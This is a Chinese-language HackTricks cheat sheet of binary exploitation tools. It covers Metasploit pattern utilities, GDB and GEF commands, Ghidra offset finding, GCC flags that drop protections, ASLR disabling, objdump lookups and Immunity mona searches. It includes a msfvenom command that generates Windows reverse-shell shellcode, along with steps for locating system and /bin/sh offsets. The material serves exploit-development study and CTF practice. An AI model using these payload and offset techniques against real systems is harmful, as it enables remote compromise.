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211 lines
7.6 KiB
Markdown
211 lines
7.6 KiB
Markdown
# 利用工具
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{{#include ../../banners/hacktricks-training.md}}
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## Metasploit
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```
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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### Shellcodes
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```
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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## GDB
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### 安装
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```
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apt-get install gdb
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```
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### 参数
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```bash
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-q # No show banner
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-x <file> # Auto-execute GDB instructions from here
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-p <pid> # Attach to process
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```
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### 指令
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```bash
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run # Execute
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start # Start and break in main
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n/next/ni # Execute next instruction (no inside)
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s/step/si # Execute next instruction
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c/continue # Continue until next breakpoint
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p system # Find the address of the system function
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set $eip = 0x12345678 # Change value of $eip
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help # Get help
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quit # exit
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# Disassemble
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disassemble main # Disassemble the function called main
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disassemble 0x12345678 # Disassemble taht address
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set disassembly-flavor intel # Use intel syntax
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set follow-fork-mode child/parent # Follow child/parent process
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# Breakpoints
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br func # Add breakpoint to function
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br *func+23
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br *0x12345678
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del <NUM> # Delete that number of breakpoint
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watch EXPRESSION # Break if the value changes
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# info
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info functions --> Info abount functions
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info functions func --> Info of the funtion
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info registers --> Value of the registers
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bt # Backtrace Stack
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bt full # Detailed stack
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print variable
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print 0x87654321 - 0x12345678 # Caculate
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# x/examine
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examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
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x/o 0xDir_hex
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x/2x $eip # 2Words from EIP
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x/2x $eip -4 # $eip - 4
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x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
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i r eip # Value of $eip
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x/w pointer # Value of the pointer
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x/s pointer # String pointed by the pointer
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x/xw &pointer # Address where the pointer is located
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x/i $eip # Instructions of the EIP
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```
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### [GEF](https://github.com/hugsy/gef)
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```bash
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help memory # Get help on memory command
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canary # Search for canary value in memory
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
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memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
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got #Check got table
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memory watch $_got()+0x18 5 #Watch a part of the got table
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# Vulns detection
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format-string-helper #Detect insecure format strings
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heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Another way to get the offset of to the RIP
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1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
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2- ef➤ i f
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Stack level 0, frame at 0x7fffffffddd0:
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rip = 0x400cd3; saved rip = 0x6261617762616176
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called by frame at 0x7fffffffddd8
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Arglist at 0x7fffffffdcf8, args:
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Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
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Saved registers:
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rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
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gef➤ pattern search 0x6261617762616176
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[+] Searching for '0x6261617762616176'
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[+] Found at offset 184 (little-endian search) likely
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```
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### Tricks
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#### GDB 相同地址
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在调试时，GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址：
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- `unset env LINES`
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- `unset env COLUMNS`
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- `set env _=<path>` _输入二进制文件的绝对路径_
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- 使用相同的绝对路径利用二进制文件
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- 使用 GDB 和利用二进制文件时，`PWD` 和 `OLDPWD` 必须相同
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#### 回溯以查找调用的函数
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当你有一个 **静态链接的二进制文件** 时，所有函数将属于该二进制文件（而不是外部库）。在这种情况下，**识别二进制文件的执行流程以例如请求用户输入** 将会很困难。\
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你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后，使用 **CTRL+C** 停止它，并使用 **`bt`** （**回溯**）命令查看调用的函数：
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```
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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### GDB 服务器
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`gdbserver --multi 0.0.0.0:23947`（在 IDA 中，您必须填写 Linux 机器上可执行文件的绝对路径，在 Windows 机器上也是如此）
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## Ghidra
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### 查找栈偏移量
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**Ghidra** 非常有用，可以找到 **缓冲区溢出的偏移量，感谢有关局部变量位置的信息。**\
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例如，在下面的示例中，`local_bc` 中的缓冲区流表明您需要 `0xbc` 的偏移量。此外，如果 `local_10` 是一个金丝雀 cookie，则表明要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
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_请记住，保存 RIP 的前 0x08 属于 RBP。_
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.png>)
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## GCC
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**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
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**-o** --> 输出\
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**-g** --> 保存代码（GDB 将能够看到它）\
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**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR
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**编译 shellcode：**\
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**nasm -f elf assembly.asm** --> 返回一个 ".o"\
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**ld assembly.o -o shellcodeout** --> 可执行文件
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## Objdump
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**-d** --> **反汇编可执行**部分（查看编译的 shellcode 的操作码，查找 ROP Gadget，查找函数地址...）\
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**-Mintel** --> **Intel** 语法\
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**-t** --> **符号**表\
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**-D** --> **反汇编所有**（静态变量的地址）\
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**-s -j .dtors** --> dtors 部分\
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**-s -j .got** --> got 部分\
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\-D -s -j .plt --> **plt** 部分 **反编译**\
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**-TR** --> **重定位**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> 在 GOT 中修改 "puts" 的地址\
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**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址（这些存储在 DATA 部分）。
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## 核转储
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1. 在启动我的程序之前运行 `ulimit -c unlimited`
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2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
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3. sudo gdb --core=\<path/core> --quiet
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## 更多
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**ldd executable | grep libc.so.6** --> 地址（如果 ASLR，则每次都会更改）\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否变化很大\
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**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量
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**strace executable** --> 可执行文件调用的函数\
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**rabin2 -i ejecutable -->** 所有函数的地址
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## **Inmunity 调试器**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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## IDA
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### 在远程 Linux 中调试
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在 IDA 文件夹中，您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点，将二进制文件 _linux_server_ 或 _linux_server64_ 移动到 Linux 服务器中，并在包含该二进制文件的文件夹中运行它：
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```
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./linux_server64 -Ppass
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```
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然后，配置调试器：调试器（linux 远程） --> 进程选项...：
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.png>)
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{{#include ../../banners/hacktricks-training.md}}
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